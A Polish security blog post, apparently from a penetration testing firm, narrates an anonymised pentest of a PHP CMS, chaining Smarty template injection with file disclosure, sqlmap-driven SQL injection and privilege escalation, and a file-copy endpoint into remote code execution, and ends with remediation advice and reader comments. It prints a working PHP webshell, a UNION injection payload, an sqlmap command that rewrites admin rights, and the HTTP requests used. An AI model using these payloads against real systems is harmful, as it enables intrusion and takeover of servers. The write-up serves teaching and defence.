Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Podatności o niskim ryzyku, a jednak dały RCE – zobacz wektor ataku jaki odnaleźliśmy z naszego ostatniego pentestu

09 sierpnia 2024, 11:21 | Aktualności | komentarzy 13

W pracy pentestera bardzo często spotykamy się z podatnościami, które same w sobie niosą niskie lub średnie ryzyko. Ich wykorzystanie do niecnych celów przez atakującego wymaga spełnienia szeregu warunków, nierzadko bardzo trudnych do osiągnięcia – na przykład kliknięcie przez użytkownika w spreparowany i podesłany mu link. Im bardziej wyśrubowane warunki, tym niższa wycena ryzyka podatności. W tym artykule krok po kroku przedstawię, jak w jednym z ostatnich testów penetracyjnych aplikacji webowej udało się uzyskać RCE (Remote Code Execution – zdalne wykonanie kodu w systemie) poprzez wykorzystanie kilku mniej i bardziej poważnych podatności.

Klient do testów przekazał system CMS (Content Management System) napisany w języku PHP do zarządzania treściami na stronie, z możliwością edycji kodu HTML/JS/CSS oraz wgrywania załączników, takich jako logo firmy czy polityka prywatności w PDF-ie. Do testów przydzielono konto z rolą „redaktor”, która uprawnia do edycji treści niektórych z podstron w systemie.

Pierwszy krok

Po zalogowaniu się i wstępnym rekonesansie aplikacji, pierwszą testowaną funkcjonalnością było wgrywanie plików. Okazało się, że aplikacja akceptuje pliki z dowolną zawartością. W związku z tym, że aplikacja napisana jest w języku PHP, naturalną próbą jest upload tzw. webshella, czyli kodu, który zinterpretowany przez serwer PHP będzie wykonywał polecenia systemowe. Gdyby to się powiodło, szybko uzyskalibyśmy kontrolę nad serwerem. Niestety jednak okazało się, że aplikacja, w przypadku nierozpoznania typu pliku lub rozpoznania niebezpiecznego typu pliku, zmienia jego rozszerzenie na .txt. Poniżej na listingu 1 znajduje się treść żądania HTTP z uploadem najprostszego webshella:

Listing 1. Treść żądania HTTP z uploadem webshella:

POST /upload.php HTTP/1.1
Host: [...]
Cookie: session=[…]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4BDjAzhUtahwmBfq
Content-Length: 508
 
------WebKitFormBoundary4BDjAzhUtahwmBfq
Content-Disposition: form-data; name="dir"
 
 
------WebKitFormBoundary4BDjAzhUtahwmBfq
Content-Disposition: form-data; name="file"
 
upload.php
------WebKitFormBoundary4BDjAzhUtahwmBfq
Content-Disposition: form-data; name="mode"
 
new
------WebKitFormBoundary4BDjAzhUtahwmBfq
Content-Disposition: form-data; name="newfile[]"; filename="upload.php"
Content-Type: text/php
 
<?php system($_GET['c1938475018']); ?>
 
------WebKitFormBoundary4BDjAzhUtahwmBfq--

Nawiasem mówiąc, warto zwrócić uwagę na nazwę parametru odpowiedzialnego za wykonanie kodu – w przypadku środowiska dostępnego publicznie lub do którego dostęp mogą mieć inni niezaufani użytkownicy, parametr powinien mieć możliwie losową nazwę. W ten sposób uchronimy aplikację przed potencjalnymi zautomatyzowanymi atakami z ich strony.

Plik ten po wgraniu ma zmienione rozszerzenie – z .php dostaliśmy .txt:

Możemy co prawda się do niego odwołać za pomocą, przykładowo, żądania GET: curl https://$HOST/upload/upload.txt

ale serwer nie wykona kodu PHP, zwróci jedynie zawartość pliku jako tekst. Jest kilka metod, którymi można spróbować obejść to zabezpieczenie, między innymi:

·  wstrzyknięcie tzw. null byte do nazwy pliku,

·  podanie kilku rozszerzeń w różnej kolejności,

·  sprawdzenie logiki przetwarzania parametru „file” i „filename” z żądania HTTP przedstawionego wyżej – być może jeden z nich jest filtrowany a inny nie,

·  race condition – być może plik jest gdzieś przechowywany na czas zmiany jego nazwy i możemy w bardzo krótkim przedziale czasowym (rzędu milisekund) się do niego odwołać.

W tym przypadku żadna z tych metod jednak nie zadziałała, wygląda na to, że to zabezpieczenie działa poprawnie. W związku z tym spójrzmy na inne interesujące miejsca w aplikacji.

Z kodem źródłowym jest łatwiej

Aplikacja jest systemem CMS. Korzysta z edytora HTML/JS/CSS, do którego mamy dostęp. Działa to na takiej zasadzie, że użytkownik wprowadza treść wybranej podstrony (na przykład „O nas”) i redaguje ją przy pomocy formularza HTML/JS/CSS. Następnie zapisuje całość kodu i strona jest publikowana. Po przejściu pod adres edytowanej podstrony (na przykład https://example[.]com/o-nas) widoczne są wprowadzone zmiany.

W edytorze jednej z podstron, po kilku próbach identyfikacji używanego frameworka okazało się, że w tym przypadku używany jest silnik szablonów Smarty. Wpisujemy więc taki fragment w kodzie HTML strony:

Listing 2. Fragment kodu HTML:

[...]
	</div>
  	PENTEST - {$smarty.version}     
	</div>
[...]

Odświeżamy kartę przeglądarki z aplikacją i widzimy co następuje:

Wykorzystanie wyrażenia języka szablonów oraz odwołanie się do zmiennej globalnej version spowoduje, że po zapisaniu pliku źródłowego i wyświetleniu go w postaci dokumentu WWW – ciąg zostanie zinterpretowany jako element szablonu i zwrócona zostanie jego wartość. Smarty ma jeszcze kilka innych atrybutów, które mogą być pomocne – na przykład „env” do listowania zmiennych środowiskowych. Wpisanie: PENTEST - {str_replace('=', ':', http_build_query($smarty.env, null, ',<br>'))}

zwraca:

Wśród tych danych większość z nich nie jest bezpośrednio przydatna. Nie ma tu żadnych danych logowania czy tokenów. Ale jest tu jedna, bardzo konkretna informacja – zmienna WEBSITE_MOUNT_PATH wskazuje jaki jest bieżący katalog na serwerze, w którym uruchomiona jest aplikacja. Jak możemy to wykorzystać? Smarty wspiera tag „include”, dzięki któremu można załączyć inne szablony z dysku do bieżącego. Przetestujmy to – potrzebujemy jedynie znać pełną ścieżkę pliku, który chcemy odczytać. W tym przypadku weźmy plik, który prawie na pewno istnieje na serwerze. Umieszczenie poniższego kodu w treści strony: {include file='/etc/hostname' inline}

zwraca faktycznie zawartość pliku /etc/hostname – jest to podatność typu Local File Disclosure. Swoją drogą, ten hostname wraz z nazwami zmiennych środowiskowych sugeruje, że aplikacja jest uruchomiona jako kontener w chmurze Azure.

Zatem co dalej? Możemy czytać pliki, jeśli znamy ich pełną ścieżkę. Wiemy, że głównym katalogiem aplikacji jest /var/www/html.  Wiedząc, że aplikacja jest napisana w PHP można próbować dokonać tzw. educated guess i przetestować czy istnieje plik /var/www/html/index.php. Aplikacja zwraca nam treść głównego pliku aplikacji w formie tekstowej, tak samo jak hostname czy zmienne środowiskowe powyżej. Mamy zatem dostęp do kodu źródłowego. Jako że plik „index.php” zawiera kilka wyrażeń „include ” do importowania fragmentów kodu z innych plików, kolejno, plik po pliku czytamy jego kod źródłowy i budujemy bazę kodu.

Jeden z modułów zawiera następującą linijkę kodu: $pdo->query("SELECT *, name$lang as name FROM category WHERE $options");

Na pierwszy rzut oka widać, że jest to klasyczny przykład błędu typu SQL injection opisanego w dokumentacji PHP] . Jeśli użytkownik ma możliwość przekazania do tego zapytania własnej treści, to będzie mógł wpływać na kwerendy przekazywane do silnika bazy danych. Przystępujemy więc do sprawdzenia, czy można te dane w jakiś sposób tam przekazać. Dzięki analizie zebranego kodu źródłowego w podejściu bottom-to-top (śledząc przepływ danych, które wylądują w zmiennych $lang i $options) okazało się, że parametr $options jest przekazywany w URL’u jako jeden z parametrów.

Do automatyzacji wykorzystania podatności SQL Injection można wykorzystać oprogramowanie sqlmap. Odpalamy je i zobaczymy, czy potwierdzi nasze przypuszczenia. Być może będzie konieczne dostosowanie zapytania. Na początek użyjemy parametru –current-user. Okazuje się, że sqlmap wykrył podatność i sugeruje atak SQL injection typu UNION-based. Dla polecenia „SELECT USER();” wartość parametru przekazywana w URL-u do aplikacji to:

id%20NOT%20IN%20%281%29%20UNION%20ALL%20SELECT%20CONCAT%280x7176786271%2CIFNULL%28CAST%28USER%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x7171707171%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--%20-

Przechodząc więc po prostu pod podatny adres aplikacji i podstawiając powyższe jako wartość parametru „options”, dostajemy następujący fragment w odpowiedzi HTML zawierający nazwę użytkownika i host MySQL:

Skoro to się udało, spróbujmy zobaczyć co ciekawego zawiera baza.

Podniesienie uprawnień

Okazuje się, że jedną z tabel w bazie jest tabela „admins”, która zawiera informacje o użytkownikach aplikacji i uprawnieniach, które mają oni do różnych modułów. Dzięki sqlmapowi poznajemy jej strukturę, która wygląda jak niżej:

| column_name | data_type |
| ----------- | --------- |
| id          | integer   |
| name        | text  	  |
| perms       | jsonb 	  |
| admin       | boolean   |
| status      | int   	  |

W tabeli jest i nasze konto „redaktora”. Porównujemy więc jakie dodatkowe atrybuty mają wpisy z kontami administratorów – „admin” ustawiony na TRUE oraz „status” ustawiony na „2”. Narzędzie sqlmap ma dla nas całkiem poręczną komendę –sql-query, dzięki której, o ile baza danych pozwala na tzw. stacked queries (inaczej batched queries), można wykonać całkowicie własne zapytania. Zezwolenie na stacked queries to sytuacja, w której w bazie danych można wykonać kilka całkowicie osobnych zapytań SQL oddzielonych średnikiem, a wszystko to podczas jednego wywołania. Popularnym w Internecie przykładem jest zakończenie bieżącego zapytania średnikiem i dodanie po nim na przykład “DROP TABLE users;–” – takie wstrzyknięcie nie byłoby możliwe, gdyby baza nie umożliwiała wykonania łączonych zapytań. W realnych warunkach pentestu, taka rekomendacja z Internetu byłaby niedopuszczalna i stanowiła poważne naruszenie zasad bez upoważnienia. Zatem odpalamy przygotowaną komendę:

python3 sqlmap.py -u "https://$HOSTNAME/category.php?options=id%20NOT%20IN%20(1)" -p options --cookie "session=$COOKIE; lang=pl" --user-agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" --sql-query "UPDATE admins set admin=TRUE, status=2 WHERE id=3"

Wylogowanie, ponowne zalogowanie do aplikacji i…

mamy dostęp do panelu administracyjnego.

Dzięki podatności SQL injection mieliśmy już właściwie pełny dostęp do bazy danych, to znaczy pełny dostęp do jej zawartości, a więc można by zapytać po co w takim razie podnosić sobie uprawnienia w samej aplikacji? Możemy przecież zmieniać dane użytkowników (a więc przejmować ich konta) czy też czytać i modyfikować zawartość dowolnych stron, praktycznie jesteśmy administratorami. Odpowiedź to:

Remote Code Execution

RCE to inaczej możliwość wykonania, przez atakującego, własnego kodu na zdalnym systemie. Atakujący może dzięki niej zakłócić przebieg przepływu danych aplikacji, czy wprowadzić ją w nieoczekiwany stan. W kontekście aplikacji webowych najczęściej oznacza zdalne wykonanie poleceń powłoki systemowej. Jest to więc coś więcej niż dostęp do samej bazy danych, ponieważ mając dostęp do serwera, na którym ona działa możemy na przykład uzyskać dostęp do innej działającej tam bazy danych, plików serwera, czy też do hostów działających w lokalnej sieci.

Teraz, posiadając uprawnienia administratora, poznajemy nowe funkcjonalności aplikacji, do których wcześniej nie mieliśmy dostępu. Jednocześnie LFD nadal umożliwia  nam poznać ich kod źródłowy. A więcej kodu może oznaczać więcej błędów. Po odpowiednio długiej lekturze świeżo zdobytego kodu natrafiamy na moduł do importu plików XML. Skrócony, znaleziony tam kod jednego z endpointów wygląda następująco (kursywą moje komentarze):

function run () {

  is_admin()

  if ($_POST[’ffd’]) {

   foreach ($_POST[’ffd’] as $k => $v) {

       // Serwer przyjmuje 2 parametry w liście (array) “ffd” i przekazuje je dalej

     $this->getFile($v[0],$v[1]);

}

}

function getFile($v, $to) {

// otwierana jest ścieżka z pierwszego parametru

if ($fp1 = @fopen($v,”r”)) {  

     // otwierana jest ścieżka z drugiego parametru

     $fp2 = fopen($to,”w”);

     while(!feof($fp1)) {

         $line = fread($fp1,1024);

         // zawartość z pierwszej lokalizacji jest zapisywana do drugiej lokalizacji

         fputs($fp2,$line,strlen($line));

         echo „$v => $to”;

     }                  

}

}

Wydaje się to nieprawdopodobne, ale to moduł, który… kopiuje pliki z jednej lokalizacji do drugiej. Jest to dokładnie to, czego potrzebujemy, żeby obejść filtrowanie rozszerzenia wgrywanych plików, które testowaliśmy na początku. Ta funkcjonalność wymaga uprawnień administracyjnych, ale tak się składa, że uzyskaliśmy je w poprzednim kroku dzięki SQL injection. Co ciekawe, ten endpoint nie jest widoczny nigdzie w interfejsie aplikacji, dało się go odkryć jedynie dzięki znajomości kodu źródłowego. Konstruujemy zatem zapytanie do odkrytego adresu:

POST /import.php HTTP/1.1
Host: [...]
Cookie: [...]
Content-Length: 400
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywf4lD22TSigAzsTj
[...]
Connection: close
 
------WebKitFormBoundarywf4lD22TSigAzsTj
Content-Disposition: form-data; name="ffd[key1][]"
 
/var/www/html/app/upload/upload.txt
------WebKitFormBoundarywf4lD22TSigAzsTj
Content-Disposition: form-data; name="ffd[key1][]"
 
/var/www/html/app/upload/upload.php
------WebKitFormBoundarywf4lD22TSigAzsTj
Content-Disposition: form-data; name="xml"
 
 
------WebKitFormBoundarywf4lD22TSigAzsTj--

Odpowiedź z serwera sugeruje sukces:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
[...]
 
<!doctype html>
<html>
[...]
</head>
<body class="area" onresize="resizeCont();">
<br>
/var/www/html/app/upload/upload.txt => /var/www/html/app/upload/upload.php
<br />
<div id="myspan" style="display:none"></div>
</body>
</html>

Potwierdzamy to spoglądając znowu na katalog z załącznikami w aplikacji – mamy tutaj nowy plik z rozszerzeniem .php:

Dzięki temu za moment osiągniemy swój cel – wykonanie kodu na serwerze. Przygotowujemy zapytanie HTTP z uprawnieniami administratora, pamiętając, że w naszym prostym webshellu parametr „c1938475018” odpowiada za komendę, która zostanie wykonana:

GET /upload/upload.php?c1938475018=ls+/etc/apache2 HTTP/1.1
Host: […]
Cookie: […]

W odpowiedzi z serwera widać, że faktycznie – polecenie wykonało się:

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=utf-8
Server: Apache/2.4.57 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/8.3.3
Content-Length: 137
 
apache2.conf
conf-available
conf-enabled
envvars
magic
mods-available
mods-enabled
ports.conf
sites-available
sites-enabled
sites-enabled

I tym sposobem, począwszy od roli najmniej uprzywilejowanego redaktora, udało się uzyskać kontrolę nad bazą danych, a następnie dostęp do powłoki na samym serwerze.

Moglibyśmy próbować teraz eskalować uprawnienia jeszcze wyżej, ale aplikacja działała jako kontener w usłudze Azure App Service, co było poza zakresem tych testów.

Co dalej?

Cały ten writeup to zanonimizowany opis jednego z ostatnich testów, które przeprowadzaliśmy. Celem takich testów jest przede wszystkim ocena bezpieczeństwa aplikacji i wskazanie klientowi co zrobić, aby poziom tego bezpieczeństwa podnieść. Jakie zalecenia byśmy w tym przypadku zaproponowali? W skrócie to kilka z nich:

·  Hardening konfiguracji edytora CMS – edytory często pozwalają ograniczać dostęp do różnych niebezpiecznych funkcji, takich jak odczytywanie plików z dysku. Domyślne ustawienia mogą nie być wystarczające.

·  Użycie zapytań parametryzowanych przy komunikacji z bazą danych. Zapytania nie powinny nigdy być tworzone przez łączenie ciągów znaków albo interpolację zmiennych tekstowych. Takie podejście należy zastosować niezależnie od tego, czy przewidujemy, że użytkownik będzie miał możliwość kontroli nad wartością zmiennej czy nie.

·  Przy walidacji wgrywanych plików powinna, oprócz rozszerzenia, być sprawdzana także ich zawartość. Istnieją rozwiązania, które pomagają wykrywać pliki z podejrzaną zawartością, począwszy od prostej weryfikacji MIME type po skanery antywirusowe, takie jak ClamAV. Ponadto wgrywane pliki dobrze jest przechowywać poza głównym katalogiem aplikacji, a najlepiej pod inną domeną – pomoże to przeciwdziałać atakom typu server-side (jak RCE) jak i client-side (jak Cross-Site Scripting, XSS).

·  Wyłączenie lub usunięcie z kodu źródłowego nieużywanych funkcjonalności. Zapomniane moduły lub niezaktualizowane usługi są często pomocne przy atakach.

·  I na koniec – regularne testowanie swoich aplikacji :)

~Adam Borczyk, hackuje w Securitum

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Tadeusz

    Dobrze napisany tekst – przyjemnie się czytało.

    Odpowiedz
  2. SeeM

    Ładnie. Smarty, czy Tinymce mogą więc edytować nie tylko strony, ale i użytkowników.

    Odpowiedz
  3. walduś

    Fajnie napisane, wartościowy materiał. Tak trzymać!

    Odpowiedz
  4. as

    Fenomenalny writeup. Dzięki wielkie za dzielenie się wiedzą.

    Odpowiedz
  5. Krystian

    Super wpis. Chętnie poczytam więcej takich analiz !

    Odpowiedz
  6. Agniesza

    Jest moc!

    Odpowiedz
  7. pyta

    Pytanko, a sqlmap i os shell by nie zrobiło roboty ze zmianą rozszerzenia (mv upload.txt upload.php)?

    Odpowiedz
    • Adam

      Cześć, faktycznie próbowałem na początku w tę stronę, razem z os-cmd i file-write (po co się męczyć, skoro jest gotowy ficzer :) ), ale sqlmap sobie nie poradził. Nie mam niestety już pod ręką logów z tego audytu żeby szczegółowo Ci odpowiedzieć, ale prawdopodobnie było to coś z uprawnieniami usera do filesystemu.

      Odpowiedz
    • when

      Prawie nigdy nie zadziała, bo próba wymaga konfiguracji pozwalającej SQLom tworzyć pliki w web directory (INTO OUTFILE), a domyślna konfiguracja taka nie jest + są przed tym ostrzeżenia wszędzie w internecie. Współcześnie raczej żadna apka tego nie używa, nawet jeśli byłoby to wygodne.

      Odpowiedz
  8. digggr

    Ewidentnie widać, ze pentest został zlecony właściwej firmie! Nieźli jesteście. Szacun.

    Odpowiedz
  9. when

    Nie myśleliście żeby zrobić z tego maszyne na HackTheBoxie? xD

    Odpowiedz
  10. pm3

    Czy jak się udało uruchomić include w smarty, to czy już wtedy nie można było zaimportować ten wgrany plik txt?

    Odpowiedz
    • Adam

      Cześć, niestety nie. Smarty miał zablokowaną możliwość parsowania przekazanego kontentu PHP – jest to jedna z opcji hardeningu, która akurat była włączona.

      Odpowiedz

Odpowiedz